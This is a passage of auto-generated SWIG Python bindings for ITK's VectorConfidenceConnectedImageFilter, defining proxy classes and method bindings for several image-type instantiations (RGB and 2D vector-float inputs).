itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_SetSeed, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_AddSeed, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_GetMean, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_swigregister
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_swigregister(itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3)
def itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_Pointer":
"""itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3___New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3___New_orig__()
def itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 *":
"""itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF22ISS2(itkImageToImageFilterBPython.itkImageToImageFilterIVF22ISS2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF22ISS2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF22ISS2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF22ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF22ISS2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF22ISS2 self) -> itkVectorConfidenceConnectedImageFilterIVF22ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF22ISS2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF22ISS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF22ISS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF22ISS2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF22ISS2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF22ISS2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF22ISS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF22ISS2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF22ISS2 self, short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF22ISS2 self) -> short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF22ISS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF22ISS2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF22ISS2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF22ISS2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF22ISS2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF22ISS2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF22ISS2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF22ISS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF22ISS2
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF22ISS2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF22ISS2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF22ISS2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF22ISS2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF22ISS2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_Clone, None, itkVectorConfidenceConnectedImageFilterIVF22ISS2)
itkVectorConfidenceConnectedImageFilterIVF22ISS2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF22ISS2)
itkVectorConfidenceConnectedImageFilterIVF22ISS2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF22ISS2)
itkVectorConfidenceConnectedImageFilterIVF22ISS2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF22ISS2)
itkVectorConfidenceConnectedImageFilterIVF22ISS2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF22ISS2)
itkVectorConfidenceConnectedImageFilterIVF22ISS2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF22ISS2)
itkVectorConfidenceConnectedImageFilterIVF22ISS2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF22ISS2)
itkVectorConfidenceConnectedImageFilterIVF22ISS2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF22ISS2)
itkVectorConfidenceConnectedImageFilterIVF22ISS2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF22ISS2)
itkVectorConfidenceConnectedImageFilterIVF22ISS2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF22ISS2)
itkVectorConfidenceConnectedImageFilterIVF22ISS2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF22ISS2)
itkVectorConfidenceConnectedImageFilterIVF22ISS2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF22ISS2)
itkVectorConfidenceConnectedImageFilterIVF22ISS2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF22ISS2)
itkVectorConfidenceConnectedImageFilterIVF22ISS2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF22ISS2)
itkVectorConfidenceConnectedImageFilterIVF22ISS2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF22ISS2)
itkVectorConfidenceConnectedImageFilterIVF22ISS2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF22ISS2)
itkVectorConfidenceConnectedImageFilterIVF22ISS2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_swigregister
itkVectorConfidenceConnectedImageFilterIVF22ISS2_swigregister(itkVectorConfidenceConnectedImageFilterIVF22ISS2)
def itkVectorConfidenceConnectedImageFilterIVF22ISS2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF22ISS2_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF22ISS2___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF22ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF22ISS2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF22ISS2 *":
"""itkVectorConfidenceConnectedImageFilterIVF22ISS2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF22ISS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22ISS2_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF22IUC2(itkImageToImageFilterBPython.itkImageToImageFilterIVF22IUC2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF22IUC2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF22IUC2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF22IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF22IUC2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF22IUC2 self) -> itkVectorConfidenceConnectedImageFilterIVF22IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF22IUC2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF22IUC2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF22IUC2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF22IUC2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF22IUC2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF22IUC2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF22IUC2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF22IUC2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned char const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF22IUC2 self, unsigned char const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned char":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF22IUC2 self) -> unsigned char"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF22IUC2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF22IUC2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF22IUC2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF22IUC2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF22IUC2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF22IUC2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF22IUC2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF22IUC2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF22IUC2
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF22IUC2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF22IUC2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF22IUC2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF22IUC2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF22IUC2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_Clone, None, itkVectorConfidenceConnectedImageFilterIVF22IUC2)
itkVectorConfidenceConnectedImageFilterIVF22IUC2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF22IUC2)
itkVectorConfidenceConnectedImageFilterIVF22IUC2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF22IUC2)
itkVectorConfidenceConnectedImageFilterIVF22IUC2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF22IUC2)
itkVectorConfidenceConnectedImageFilterIVF22IUC2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF22IUC2)
itkVectorConfidenceConnectedImageFilterIVF22IUC2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF22IUC2)
itkVectorConfidenceConnectedImageFilterIVF22IUC2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF22IUC2)
itkVectorConfidenceConnectedImageFilterIVF22IUC2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF22IUC2)
itkVectorConfidenceConnectedImageFilterIVF22IUC2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF22IUC2)
itkVectorConfidenceConnectedImageFilterIVF22IUC2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF22IUC2)
itkVectorConfidenceConnectedImageFilterIVF22IUC2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF22IUC2)
itkVectorConfidenceConnectedImageFilterIVF22IUC2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF22IUC2)
itkVectorConfidenceConnectedImageFilterIVF22IUC2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF22IUC2)
itkVectorConfidenceConnectedImageFilterIVF22IUC2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF22IUC2)
itkVectorConfidenceConnectedImageFilterIVF22IUC2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF22IUC2)
itkVectorConfidenceConnectedImageFilterIVF22IUC2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF22IUC2)
itkVectorConfidenceConnectedImageFilterIVF22IUC2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_swigregister
